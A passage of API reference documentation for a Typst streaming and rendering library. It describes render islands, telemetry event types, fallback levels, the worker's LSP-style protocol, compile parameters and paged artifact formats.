to show it with the same files, as web fonts. Typst draws the paged target
itself.

| Prop     | Type                                       | Description                                                       |
| -------- | ------------------------------------------ | ----------------------------------------------------------------- |
| `family` | `string`                                   | The family as documents name it, lowercased (Typst's comparison). |
| `name`   | `string`                                   | The family's name, as its font files name it.                     |
| `files`  | `(FontCatalogueFile & { url: string; })[]` | The files loaded, with absolute URLs.                             |

`EditorFacet` is reserved for the visual editor: typed loosely on purpose, and nothing reads it yet.

### Render islands (beta)

A render island is an interactive component mounted over a marker a document's Typst writes around its fallback
drawing ([Writing an island](/docs/guides/islands)). `ISLAND_MARKER` (`"typstream-island"`) names the marker: the
element the HTML target writes, and the label of the paged target's `metadata`. A plugin declares an island with an
`IslandSpec`; its component gets `IslandProps`.

### IslandSpec

An interactive component that renderers mount over a Typst marker (PLAN
§8.4). The marker wraps its own fallback, the Typst drawing, which is what
prints, exports and shows wherever nothing mounts. Framework-neutral: apps
register a renderer for the name (`@typstream/dom`'s `islands` option,
`@typstream/react`'s `islands` prop); a marker becomes an island only when a
loaded plugin declares its name and the app registered a renderer for it.

| Prop           | Type                                                  | Description                                                                                                                                                                                                                                                     |
| -------------- | ----------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `description?` | `string \| undefined`                                 | What the island shows or lets the reader do, for people and tools reading the plugin.                                                                                                                                                                           |
| `parse?`       | `((data: unknown) => Data \| undefined) \| undefined` | Checks the marker's data, which the document wrote and is untrusted (parsed JSON in the HTML target, a Typst value in the paged one), and returns what the renderer gets as `data`. `undefined` keeps the fallback. Without it, the data is passed on as it is. |

### IslandProps

What an island's renderer gets: everything comes from the marker, except
`isIncomplete` and `file`, which come from the document.

| Prop           | Type                                    | Description                                                                                                                                                                                                      |
| -------------- | --------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`         | `string`                                | The island's name, a key of a plugin's `islands`.                                                                                                                                                                |
| `data`         | `Data`                                  | The marker's data, through the spec's `parse`.                                                                                                                                                                   |
| `isIncomplete` | `boolean`                               | The document is streaming and the island's source is still being written: it starts at or after the stable offset, so text that can change it is still arriving.                                                 |
| `target`       | `CompileTarget`                         | The target the island is shown in.                                                                                                                                                                               |
| `index`        | `number`                                | The island's position among the document's islands of its name, from 0: its identity, which a renderer keeps across updates.                                                                                     |
| `file`         | `(path: string) => FileContent \| null` | A file the document has, by the path its Typst names it with: its own files and the images its `resolveImage` resolved (the bytes Typst drew). `null` for anything else; islands fetch nothing a document names. |

## Telemetry events

The library sends nothing anywhere: the engine client emits these per document, the renderers add what they drew, and
the app decides what to log or collect. Every field is plain data, so an event can be serialized as it is. You receive
them from `EngineDocument.onEvent`, `Engine.onEvent` (wrapped as `{ type: "document", event }`), and the `onRendered`,
`onFallback` and `onWatchdog` callbacks. See [Telemetry](/docs/guides/telemetry).

### `DocumentEvent`

```ts
type DocumentEvent = CompiledEvent | FallbackEvent | WatchdogEvent | DiagnosticsEvent;
```

Everything a document reports. For one compile: `diagnostics`, then `compiled`, then `fallback` if it fell back. A
watchdog stop reports `watchdog` instead.

### `DocumentEventBase`

What every document event says about the compile it is about.

### DocumentEventBase

What every document event says about the compile it is about.

| Prop     | Type            | Description                                                                                     |
| -------- | --------------- | ----------------------------------------------------------------------------------------------- |
| `uri`    | `string`        | The document's URI, which tells documents apart in `Engine.onEvent`.                            |
| `rev`    | `number`        | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks. |
| `target` | `CompileTarget` | The target compiled to.                                                                         |
| `mode`   | `CompileMode`   | `final` once the input is complete (`finish()`).                                                |

### `CompileReport`

What a compile cost and what it took to make the text compile: the fields `compiled` and `rendered` events share.

### CompileReport

What a compile cost and what it took to make the text compile: the fields
`compiled` and `rendered` events share.

| Prop            | Type                     | Description                                                                                                                     |
| --------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| `timings`       | `CompileTimings`         | The worker's timings (`totalMs`: request to response).                                                                          |
| `compileMs`     | `number`                 | Typst's compilation, summed over fixer rounds and fallback compiles (`timings.compileMs`, 0 when absent).                       |
| `healMs`        | `number`                 | Main-thread time healing the input since the previous compile, ms: every push and edit that led to the compiled source, summed. |
| `patches`       | `number`                 | Heal patches (lint fixes, tail repair, output handlers) in the compiled source.                                                 |
| `patchReasons`  | `Record<string, number>` | The same patches counted by their reason (`"close:]"`, `"lint:email-at"`, …).                                                   |
| `fixersApplied` | `AppliedFix[]`           | Errors Layer 3's fixers fixed to make the output, in the order fixed (PLAN §5.5).                                               |
| `fallbackLevel` | `FallbackLevel`          | See FallbackLevel.                                                                                                              |
| `errors`        | `number`                 | Errors and warnings of the compile, in the document.                                                                            |
| `warnings`      | `number`                 | Warnings of the compile, counted as `errors` is.                                                                                |
| `pages?`        | `number \| undefined`    | Paged: the document's page count, when the compile published pages.                                                             |
| `sourceLength`  | `number`                 | Length of the compiled source (UTF-16), for latency by document size.                                                           |

### `CompiledEvent`

A compile finished, whether or not it published an artifact (`status`). Probe compiles of a hang search aren't
reported; the `watchdog` events that started the search are.

### CompiledEvent

A compile finished, whether or not it published an artifact. Probe compiles
of a hang search (PLAN §5.6) aren't reported; the `watchdog` events that
started the search are.

| Prop            | Type                     | Description                                                                                                                     |
| --------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| `type`          | `"compiled"`             | Discriminant: a compile finished.                                                                                               |
| `status`        | `"error" \| "ok"`        | `ok`: it published an artifact (perhaps from the fallback); `error`: the last good one stays.                                   |
| `uri`           | `string`                 | The document's URI, which tells documents apart in `Engine.onEvent`.                                                            |
| `rev`           | `number`                 | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                                 |
| `target`        | `CompileTarget`          | The target compiled to.                                                                                                         |
| `mode`          | `CompileMode`            | `final` once the input is complete (`finish()`).                                                                                |
| `timings`       | `CompileTimings`         | The worker's timings (`totalMs`: request to response).                                                                          |
| `compileMs`     | `number`                 | Typst's compilation, summed over fixer rounds and fallback compiles (`timings.compileMs`, 0 when absent).                       |
| `healMs`        | `number`                 | Main-thread time healing the input since the previous compile, ms: every push and edit that led to the compiled source, summed. |
| `patches`       | `number`                 | Heal patches (lint fixes, tail repair, output handlers) in the compiled source.                                                 |
| `patchReasons`  | `Record<string, number>` | The same patches counted by their reason (`"close:]"`, `"lint:email-at"`, …).                                                   |
| `fixersApplied` | `AppliedFix[]`           | Errors Layer 3's fixers fixed to make the output, in the order fixed (PLAN §5.5).                                               |
| `fallbackLevel` | `FallbackLevel`          | See FallbackLevel.                                                                                                              |
| `errors`        | `number`                 | Errors and warnings of the compile, in the document.                                                                            |
| `warnings`      | `number`                 | Warnings of the compile, counted as `errors` is.                                                                                |
| `pages?`        | `number \| undefined`    | Paged: the document's page count, when the compile published pages.                                                             |
| `sourceLength`  | `number`                 | Length of the compiled source (UTF-16), for latency by document size.                                                           |

### `RenderedEvent`

The renderer showed an artifact: the report of the compile that made it, and what drawing it cost. What `onRendered`
receives.

### RenderedEvent

The renderer showed an artifact: the report of the compile that made it,
and what drawing it cost. What `onRendered` hooks receive.

| Prop            | Type                     | Description                                                                                                                     |
| --------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| `type`          | `"rendered"`             | Discriminant: the renderer showed an artifact.                                                                                  |
| `renderMs`      | `number`                 | Main-thread time handing the artifact to the renderer, ms (paged: offscreen pages draw later).                                  |
| `blocks?`       | `number \| undefined`    | HTML: top-level blocks shown.                                                                                                   |
| `uri`           | `string`                 | The document's URI, which tells documents apart in `Engine.onEvent`.                                                            |
| `rev`           | `number`                 | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                                 |
| `target`        | `CompileTarget`          | The target compiled to.                                                                                                         |
| `mode`          | `CompileMode`            | `final` once the input is complete (`finish()`).                                                                                |
| `timings`       | `CompileTimings`         | The worker's timings (`totalMs`: request to response).                                                                          |
| `compileMs`     | `number`                 | Typst's compilation, summed over fixer rounds and fallback compiles (`timings.compileMs`, 0 when absent).                       |
| `healMs`        | `number`                 | Main-thread time healing the input since the previous compile, ms: every push and edit that led to the compiled source, summed. |
| `patches`       | `number`                 | Heal patches (lint fixes, tail repair, output handlers) in the compiled source.                                                 |
| `patchReasons`  | `Record<string, number>` | The same patches counted by their reason (`"close:]"`, `"lint:email-at"`, …).                                                   |
| `fixersApplied` | `AppliedFix[]`           | Errors Layer 3's fixers fixed to make the output, in the order fixed (PLAN §5.5).                                               |
| `fallbackLevel` | `FallbackLevel`          | See FallbackLevel.                                                                                                              |
| `errors`        | `number`                 | Errors and warnings of the compile, in the document.                                                                            |
| `warnings`      | `number`                 | Warnings of the compile, counted as `errors` is.                                                                                |
| `pages?`        | `number \| undefined`    | Paged: the document's page count, when the compile published pages.                                                             |
| `sourceLength`  | `number`                 | Length of the compiled source (UTF-16), for latency by document size.                                                           |

### `FallbackEvent`

The document's output isn't its text as it is: a candidate test case. Fired with every such compile, so a lasting
error in a stream fires once per revision; `consecutive` tells a new failure from a lasting one.

### FallbackEvent

The document's output isn't its text as it is (levels 1 to 4 of
FallbackLevel): a candidate corpus case (PLAN §11.2). Fired with
every such compile, so a lasting error in a stream fires once per revision;
`consecutive` tells a new failure from a lasting one.

| Prop          | Type               | Description                                                                                                                                                                                    |
| ------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `type`        | `"fallback"`       | Discriminant: the output isn't the text as it is.                                                                                                                                              |
| `level`       | `1 \| 2 \| 3 \| 4` | The step of the ladder the output came from (see FallbackLevel).                                                                                                                               |
| `isolated`    | `Range[]`          | Ranges of the compiled source shown as error boxes (levels 3 and 4).                                                                                                                           |
| `plainFrom`   | `number \| null`   | Level 2: the compiled source from here on was shown as plain text.                                                                                                                             |
| `consecutive` | `number`           | Compiles in a row, this one included, whose output wasn't the text as it is.                                                                                                                   |
| `diagnostics` | `Diagnostic[]`     | The compile's diagnostics (input coordinates): the errors that failed it, or that the error boxes stand for; under the stable prefix, the tail's errors as `info` (`source: "stable-prefix"`). |
| `input`       | `string`           | The input the compiled source was healed from: what to replay to reproduce it.                                                                                                                 |
| `source`      | `string`           | The healed source the worker compiled. Ranges above are in it.                                                                                                                                 |
| `uri`         | `string`           | The document's URI, which tells documents apart in `Engine.onEvent`.                                                                                                                           |
| `rev`         | `number`           | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                                                                                                |
| `target`      | `CompileTarget`    | The target compiled to.                                                                                                                                                                        |
| `mode`        | `CompileMode`      | `final` once the input is complete (`finish()`).                                                                                                                                               |

### `FallbackLevel`

```ts
type FallbackLevel = 0 | 1 | 2 | 3 | 4;
```

| Level | Output |
| --- | --- |
| `0` | The text itself (healed, and fixed by the worker's fixers if it needed it). |
| `1` | The compile failed; the last good artifact stays. |
| `2` | The settled text, with the unsettled tail as plain text (streaming). |
| `3` | Failing or hanging blocks shown as error boxes. |
| `4` | Nothing compiled: the whole document shown as its source (final mode). |

See [Fallback](/docs/concepts/fallback).

### `WatchdogEvent`

A compile of the document ran past its budget or crashed the worker, which was replaced.

### WatchdogEvent

A compile of the document ran past its budget or crashed the worker, which
was replaced (PLAN §6.3).

| Prop           | Type                   | Description                                                                                                          |
| -------------- | ---------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `type`         | `"watchdog"`           | Discriminant: the watchdog replaced the worker.                                                                      |
| `reason`       | `"crash" \| "timeout"` | The compile ran past `budgetMs` (`timeout`), or the worker died during it (`crash`).                                 |
| `budgetMs`     | `number`               | The compile's budget, ms.                                                                                            |
| `strikes`      | `number`               | Streaming timeouts and crashes so far; at the engine's limit live compiling stops.                                   |
| `live`         | `boolean`              | False once live compiling stopped (`too-complex`); the document compiles again when finished.                        |
| `searching`    | `boolean`              | Final mode: the engine is looking for the blocks that hang or crash it, to skip them, rather than counting a strike. |
| `sourceLength` | `number`               | Length of the compiled source (UTF-16).                                                                              |
| `uri`          | `string`               | The document's URI, which tells documents apart in `Engine.onEvent`.                                                 |
| `rev`          | `number`               | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                      |
| `target`       | `CompileTarget`        | The target compiled to.                                                                                              |
| `mode`         | `CompileMode`          | `final` once the input is complete (`finish()`).                                                                     |

### `DiagnosticsEvent`

A compile replaced the document's diagnostics (in input coordinates, sorted). Fired with every compile that reports,
even when they didn't change.

### DiagnosticsEvent

A compile replaced the document's diagnostics (in input coordinates,
sorted). Fired with every compile that reports, even when they didn't change.

| Prop          | Type            | Description                                                                                     |
| ------------- | --------------- | ----------------------------------------------------------------------------------------------- |
| `type`        | `"diagnostics"` | Discriminant: the document's diagnostics were replaced.                                         |
| `diagnostics` | `Diagnostic[]`  | The new set, in input coordinates and sorted; empty when the compile reported none.             |
| `uri`         | `string`        | The document's URI, which tells documents apart in `Engine.onEvent`.                            |
| `rev`         | `number`        | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks. |
| `target`      | `CompileTarget` | The target compiled to.                                                                         |
| `mode`        | `CompileMode`   | `final` once the input is complete (`finish()`).                                                |

### `AppliedFix`

An error a diagnostic fixer fixed to make a compile's output, as listed in `fixersApplied`.

### AppliedFix

An error a diagnostic fixer (Layer 3, PLAN §5.5) fixed to make a compile's
output, for telemetry ("fixer hits by error", PLAN §12).

| Prop      | Type     | Description                                |
| --------- | -------- | ------------------------------------------ |
| `fixer`   | `string` | The fixer's `name`.                        |
| `message` | `string` | The error's message, as Typst reported it. |

## Protocol

The engine client and its worker talk in LSP-shaped messages: `{ id, method, params }` requests answered by
`{ id, result }` or `{ id, error }`, plus `{ method, params }` notifications. Messages are plain structured-clonable
data, so they cross `postMessage` as they are, and a socket as JSON through `serializeMessage`. You need these types
only to write a transport, a server or an adapter; see [Remote engine](/docs/guides/remote-engine).

The lifecycle: `initialize` first, then any number of documents, each opened, edited, compiled and closed
independently; `shutdown` last. Documents share the worker's fonts, packages and Typst's memoization cache. Every
document-scoped message carries the document's `uri` and a `rev` (revision) the client chooses, increasing with every
change, so stale output can be dropped.

### `PROTOCOL_VERSION`

```ts
const PROTOCOL_VERSION = 1;
```

Bumped only for breaking changes. Additive changes (new methods, new optional fields) are announced through
capabilities instead. A server that doesn't speak the client's version answers `initialize` with a
`protocol-version-mismatch` error whose `data` is `VersionMismatchData` (`{ supported: number[] }`).

### Requests

`RequestMap` maps every request method to its params and result:

| Method | Params | Result |
| --- | --- | --- |
| `initialize` | `InitializeParams` | `InitializeResult` |
| `shutdown` | `null` | `null` |
| `document/open` | `DocumentOpenParams` | `null` |
| `document/edit` | `DocumentEditParams` | `null` |
| `document/setFiles` | `DocumentSetFilesParams` | `null` |
| `document/close` | `DocumentCloseParams` | `null` |
| `compile` | `CompileParams` | `CompileResult` |
| `export/pdf` | `ExportParams` | `ExportResult<Uint8Array>` |
| `export/html` | `ExportParams` | `ExportResult<string>` |
| `resolve/span` (beta) | `ResolveSpanParams` | `ResolveSpanResult` |
| `resolve/location` (beta) | `ResolveLocationParams` | `ResolveLocationResult` |

A compile's output arrives as notifications sent before its response: `document/diagnostics` always, then
`document/artifact` when the compile succeeded. The same notifications carry compiles the server starts itself, such
as when a lazily loaded font arrives.

Notifications:

| Direction | Method | Params |
| --- | --- | --- |
| Client to server | `$/cancel` | `CancelParams` (`{ id }`): drop a request that hasn't started. |
| Server to client | `document/diagnostics` | `DiagnosticsNotification`: the complete set for one compile, replacing earlier ones. |
| Server to client | `document/artifact` | `ArtifactNotification`: a successful compile's `artifact`. |
| Server to client | `fonts/loaded` | `FontsLoadedParams` (beta, a `LoadedFontFamily`): a family loaded from a font catalogue, sent once per family and worker. |
| Server to client | `$/log` | `LogParams` (`{ level, message }`): debugging only, never user-facing. |

Helper types: `RequestMethod`, `ClientNotificationMethod` and `ServerNotificationMethod` (the method names),
`ParamsOf<M>` and `ResultOf<M>`, `RequestId` (a number unique among pending requests), `Request<M>`,
`ClientNotification<M>`, `ServerNotification<M>`, `SuccessResponse<M>`, `ErrorResponse`, `Response<M>`, and the unions
`ClientMessage` (what the client posts) and `ServerMessage` (what the worker posts). `RequestMap`,
`ClientNotificationMap` and `ServerNotificationMap` are the tables they derive from. The guards `isRequest`,
`isClientNotification`, `isResponse`, `isServerNotification` and `isErrorResponse` tell messages apart.

### `initialize`

`InitializeParams` holds the client's `protocolVersion`, its `ClientCapabilities` (`pagedDiff`: it can apply
changed-page updates), optional `clientInfo`, and `options` (beta `InitializeOptions`: `fonts`, `packages` and
`fixerModules` shared by every document).

### InitializeResult

On a version the server doesn't speak, it answers with a
`protocol-version-mismatch` error whose `data` is VersionMismatchData.

| Prop              | Type                                                        | Description                                                                      |
| ----------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------- |
| `protocolVersion` | `number`                                                    | The server's PROTOCOL_VERSION: the client's, since any other fails `initialize`. |
| `capabilities`    | `ServerCapabilities`                                        | What the server offers; clients use only what is listed.                         |
| `serverInfo`      | `{ name: string; version?: string; typstVersion: string; }` | Which engine answered, for logs and bug reports.                                 |

### ServerCapabilities

What the server offers. Clients must treat a missing field as unsupported,
so later protocol versions can add editor services (`completion`, `hover`,
`definition`, `signatureHelp`, `format`, `foldingRanges`) as new flags
without a version bump.

| Prop               | Type                                   | Description                                                                                            |
| ------------------ | -------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| `targets`          | `CompileTarget[]`                      | The targets it compiles to; `compile` to another answers `unsupported`.                                |
| `exports`          | `ExportFormat[]`                       | The export formats it serves; the other `export/*` requests answer `unsupported`.                      |
| `pagedDiff?`       | `boolean \| undefined`                 | Paged compiles send only pages that changed. Requires the client's `pagedDiff`.                        |
| `resolveSpan?`     | `boolean \| undefined`                 | `resolve/span` is implemented.                                                                         |
| `resolveLocation?` | `boolean \| undefined`                 | `resolve/location` is implemented.                                                                     |
| `fontCatalogues?`  | `boolean \| undefined`                 | Families named in documents load from font catalogues (`fontCatalogues`), announced by `fonts/loaded`. |
| `experimental?`    | `Record<string, unknown> \| undefined` | Not yet standardized; keys should be namespaced.                                                       |

### Documents

`document/open` opens a document at revision `rev` with the text to compile (the healed source, in the streaming
pipeline). `document/edit` applies `edits: TextEdit[]` in order, each to the result of the previous one, and must
raise `rev`. `document/setFiles` writes (or, with `null`, deletes) files, as a new revision. `document/close` frees the
document.

### DocumentOpenParams

Opens a document at revision `rev`. `text` is what gets compiled: in the
streaming pipeline that's the healed source, not the raw stream.

| Prop                | Type                           | Description                                                                                                                                                                                                                                                                                                                                                                                                   |
| ------------------- | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `text`              | `string`                       | The document's text at `rev`, which later `document/edit`s change.                                                                                                                                                                                                                                                                                                                                            |
| `preamble?`         | `string \| undefined`          | Typst evaluated before `text` (theme, `@typstream/edu` imports). It is not part of the document's coordinates: diagnostics inside it report its path in `Diagnostic.file`, never offsets into `text`.                                                                                                                                                                                                         |
| `files?`            | `FileDelta \| undefined`       | Files the document can read (images, data), relative to its root. A key such as `@typstream/edu:0.1.0/lib.typ` is a file of that package (its spec, then the path inside it): files mounted this way make a local package importable, with no allowlist or download.                                                                                                                                          |
| `packages?`         | `PackageSpec[] \| undefined`   | Packages this document may import, in addition to `initialize`'s (plugins' `engine.packages`). The server fetches one only when the document imports it, and may ignore the list (a server facing untrusted clients).                                                                                                                                                                                         |
| `fixerModules?`     | `string[] \| undefined`        | Fixer modules for this document, in addition to `initialize`'s (plugins' `engine.fixerModules`, PLAN §8.2). The server imports each once; one that fails to load is reported with `$/log` and the document compiles without it.                                                                                                                                                                               |
| `generatorModules?` | `string[] \| undefined`        | File generator modules for this document (plugins' `engine.generatorModules`, PLAN §8.2): ES modules whose default export is a FileGenerator or an array of them. The server imports each once and runs the generators before every compile and export of the document; one that fails to load is reported with `$/log` and the document compiles without it. A server facing untrusted clients ignores them. |
| `fontCatalogues?`   | `FontCatalogue[] \| undefined` | Font catalogues this document loads families from, in addition to `initialize`'s. The fonts they load are the worker's, as every font is.                                                                                                                                                                                                                                                                     |
| `uri`               | `string`                       | The document the message is about.                                                                                                                                                                                                                                                                                                                                                                            |
| `rev`               | `number`                       | The revision of it the message is about (see Revision).                                                                                                                                                                                                                                                                                                                                                       |

Related types: `DocumentUri` (any string unique among the worker's open documents), `Revision` (a number),
`DocumentParams` (`{ uri, rev }`, the base of every document message), `FileContent` (`string | Uint8Array`; strings
are UTF-8 text) and `FileDelta` (`Record<string, FileContent | null>`, paths relative to the document root).

### `compile`

```ts
type CompileTarget = "html" | "paged";
type CompileMode = "streaming" | "final";
```

Compiles the document as of `rev`, which must be its current revision (otherwise `content-modified`). `streaming`
compiles may apply streaming-only fixers and are expected to be superseded; `final` compiles the finished document.

### CompileParams

Compiles the document as of revision `rev`, which must be its current
revision (otherwise `content-modified`: the client should compile the newer
one instead).

Output arrives as notifications, sent **before** the response, in this
order: `document/diagnostics` (always), then `document/artifact` (only when
the compile succeeded). The response then says the compile is over. This
keeps one rendering path for client-requested compiles and the ones the
server starts itself (e.g. when a lazily loaded font arrives).

| Prop           | Type                                  | Description                                                                                                                                                                                                                                                                    |
| -------------- | ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `target`       | `CompileTarget`                       | What to compile to: one of the server's `targets`.                                                                                                                                                                                                                             |
| `inputs?`      | `Record<string, string> \| undefined` | `sys.inputs` for this compile (answer-key toggle, reflow page size, theme).                                                                                                                                                                                                    |
| `mode?`        | `CompileMode \| undefined`            | Default `streaming`.                                                                                                                                                                                                                                                           |
| `settled?`     | `number \| undefined`                 | Streaming only: the text before this offset is settled (heal's `stableOffset`). Fixers may drop or rewrite only what comes after it, the text still being typed (PLAN §5.5). Without it, all of the text counts as settled.                                                    |
| `settledFrom?` | `number \| undefined`                 | Streaming only: the text from this offset on is settled too, when what is being typed is a range in the middle of the document (an edit streaming in, heal's `suffixOffset`, PLAN §5.2). Fixers and the fallback keep to `[settled, settledFrom)`. Default: the text's length. |
| `anchors?`     | `boolean \| undefined`                | HTML only: insert source anchors at top-level blocks (PLAN §10.2). Default true; exports contain them only when they ask (`ExportParams.anchors`).                                                                                                                             |
| `fullPages?`   | `boolean \| undefined`                | Paged only: send every page, not just changed ones (the client lost or dropped its pages, e.g. after remounting).                                                                                                                                                              |
| `pageFormat?`  | `PageFormat \| undefined`             | Paged only: how pages come. Default `svg`. With `drawing`, the server sends pages it can draw as PageDrawings for a canvas (their `svg` empty) and the others as SVG; a server without drawings sends SVG. Changing it sends every page.                                       |
| `fallback?`    | `FallbackParams \| undefined`         | What the server may show when the text doesn't compile even after its fixes (Layer 4, PLAN §5.6). Without it a failed compile publishes no artifact and the client keeps its last good one.                                                                                    |
| `uri`          | `string`                              | The document the message is about.                                                                                                                                                                                                                                             |
| `rev`          | `number`                              | The revision of it the message is about (see Revision).                                                                                                                                                                                                                        |

### FallbackParams

Layer 4 of a compile (PLAN §5.6): how the server turns a document that
doesn't compile into one that does, rather than publishing no artifact.

| Prop            | Type                          | Description                                                                                                                                                                                                                                                                                                                                       |
| --------------- | ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `isolate?`      | `boolean \| undefined`        | Show each top-level block that fails as an error box in place of the block (`typstream.error-block`, with the error and the block's source), found by compiling prefixes of the document (bisection). While streaming, only blocks of the settled text are isolated; the unsettled tail is left to the fixers and `stablePrefix`.                 |
| `stablePrefix?` | `boolean \| undefined`        | Streaming: when the unsettled tail fails, compile the settled text and show the tail as plain text below it (level 2). Clients ask for it once their last good render is too stale to keep showing.                                                                                                                                               |
| `restart?`      | `boolean \| undefined`        | The text being typed started over since the last artifact: a streaming range was set (an edit replacing part of the document), or the document was reset. Show this compile's output even if it shows less of that text than the last artifact did, which the server otherwise keeps instead (level 1). Clients send it until a compile succeeds. |
| `skip?`         | `SkippedRange[] \| undefined` | Parts of the text the client found the compiler can't get through: a compile ran past the watchdog budget or crashed the worker (PLAN §6.3). They are shown as error boxes without being compiled. Ranges are in the text, ascending and not overlapping, and should cover whole top-level blocks.                                                |

`SkippedRange` is a `Range` with a `reason` (`"timeout"` or `"crash"`): a part of the text the compiler can't get
through.

### CompileResult

The answer to `compile`, sent after its notifications: whether it published
an artifact, and what it cost.

| Prop           | Type                           | Description                                                                                            |
| -------------- | ------------------------------ | ------------------------------------------------------------------------------------------------------ |
| `target`       | `CompileTarget`                | The target compiled to, as requested.                                                                  |
| `status`       | `"error" \| "ok"`              | `ok`: an artifact was published. `error`: only diagnostics; the client keeps its last good artifact.   |
| `timings`      | `CompileTimings`               | Where the worker's time went.                                                                          |
| `memoryBytes?` | `number \| undefined`          | Engine memory after the compile (e.g. wasm memory), for recycling decisions (PLAN §6.3).               |
| `fallback?`    | `CompileFallback \| undefined` | Set when the artifact came from the fallback (`CompileParams.fallback`) rather than the text as it is. |
| `fixes?`       | `AppliedFix[] \| undefined`    | The errors fixers fixed to make the artifact, in the order fixed. Absent when none were.               |
| `uri`          | `string`                       | The document the message is about.                                                                     |
| `rev`          | `number`                       | The revision of it the message is about (see Revision).                                                |

### CompileTimings

Wall-clock milliseconds measured in the worker.

| Prop          | Type                  | Description                                                        |
| ------------- | --------------------- | ------------------------------------------------------------------ |
| `totalMs`     | `number`              | From receiving the request to sending the response.                |
| `compileMs?`  | `number \| undefined` | Typst compilation (evaluation + layout), summed over fixer rounds. |
| `exportMs?`   | `number \| undefined` | Turning the document into HTML or SVG.                             |
| `fixMs?`      | `number \| undefined` | Diagnostic fixers (Layer 3), including the recompiles they caused. |
| `fallbackMs?` | `number \| undefined` | The fallback (Layer 4), including its compiles.                    |

### CompileFallback

How the artifact of a compile differs from the document, when Layer 4 made
it (PLAN §5.6). Ranges are in document coordinates.

| Prop        | Type             | Description                                                                                                                                                                                                       |
| ----------- | ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `level`     | `2 \| 3 \| 4`    | Which step of the ladder made it: `2` the settled text with the tail as plain text (blocks of the settled text may be isolated too), `3` blocks isolated, `4` the whole document as one error block (final mode). |
| `isolated`  | `Range[]`        | Blocks shown as error boxes, ascending: blocks that failed, and `skip`ped ranges.                                                                                                                                 |
| `plainFrom` | `number \| null` | Streaming: the unsettled text from here on was shown as plain text (`stablePrefix`), or `null`.                                                                                                                   |

### Artifacts

```ts
type Artifact = HtmlArtifact | PagedArtifact;
```

An `HtmlArtifact` is `{ target: "html", html }`: the complete HTML document Typst exported. It is untrusted; the
renderer sanitizes it.

Compiled pages. With `base: null` a `PagedArtifact` holds every page. Otherwise it holds only the pages that changed
since the paged artifact of revision `base`; pages it doesn't list are unchanged, and pages at or past `pageCount` no
longer exist. A client whose displayed pages aren't from `base` must not apply it, and should recompile with
`fullPages`. The engine client merges them for you: `DocumentState.artifact` is always complete.

### PagedArtifact

Compiled pages. With `base === null` it holds every page. Otherwise it holds
only pages that changed since the paged artifact of revision `base` (the
previous one the server sent for this document); pages it doesn't list are
unchanged, and pages at or past `pageCount` no longer exist. A client whose
displayed pages aren't from `base` must not apply it and should recompile
with `fullPages`.

| Prop        | Type                         | Description                                                                                                                                                                               |
| ----------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `target`    | `"paged"`                    | Discriminant: the output of a paged compile.                                                                                                                                              |
| `base`      | `number \| null`             | The revision whose paged artifact this one updates, or `null` when it holds every page.                                                                                                   |
| `pageCount` | `number`                     | How many pages the document has now, whether or not they are in `pages`.                                                                                                                  |
| `pages`     | `PageUpdate[]`               | Ascending by index.                                                                                                                                                                       |
| `islands?`  | `PagedIsland[] \| undefined` | Every island marker of the document, in document order, whichever pages changed (PLAN §8.4). Optional: engines without introspection send none, and their islands show as their fallback. |

### PageUpdate

One rendered page of a paged artifact. Sizes in Typst points.

| Prop         | Type                          | Description                                                                                                                               |
| ------------ | ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `index`      | `number`                      | Zero-based page index.                                                                                                                    |
| `hash`       | `string`                      | Hash of the page's frame. Equal hashes mean identical pages; use it as a key.                                                             |
| `width`      | `number`                      | Page width, in points.                                                                                                                    |
| `height`     | `number`                      | Page height, in points.                                                                                                                   |
| `svg`        | `string`                      | Untrusted SVG markup: the renderer sanitizes it. Empty when the page comes as a `drawing`.                                                |
| `drawing?`   | `PageDrawing \| undefined`    | The page as drawing operations for a canvas, when the compile asked for them (`pageFormat`).                                              |
| `text?`      | `TextRun[] \| undefined`      | The page's text runs in reading (logical) order. Optional: other engines may not provide them, nor the structure, language and direction. |
| `structure?` | `TextNode[] \| undefined`     | Headings, lists and tables around the runs, outermost first.                                                                              |
| `lang?`      | `string \| undefined`         | The document's language (`en`, `ar`, `zh-CN`).                                                                                            |
| `dir?`       | `"ltr" \| "rtl" \| undefined` | The document's direction.                                                                                                                 |

#### `PageFormat`, `PageDrawing` (beta) and `PageLink` (beta)

`PageFormat` is how a paged compile sends pages (`CompileParams.pageFormat`): `"svg"`, the default, or `"drawing"`,
operations for a canvas that `@typstream/dom`'s paged view paints. A server that can't draw a page sends it as SVG
either way. A `PageDrawing` holds the operations (32-bit floats, in the encoding engine-wasm's `src/draw.rs`
describes), the strings they name, the glyph outlines they draw and the page's `PageLink`s: the box around each link
to a URL, in points.

<Callout type="warn" title="Beta">
`PageDrawing` and `PageLink` are beta: the encoding may change before the first stable release.
</Callout>

### PageDrawing

A page as drawing operations for a canvas, what `@typstream/dom`'s paged
renderer paints (PLAN §6.5). The encoding is the one engine-wasm writes
(its `src/draw.rs`) and may change between versions.

| Prop      | Type                          | Description                                                                                                          |
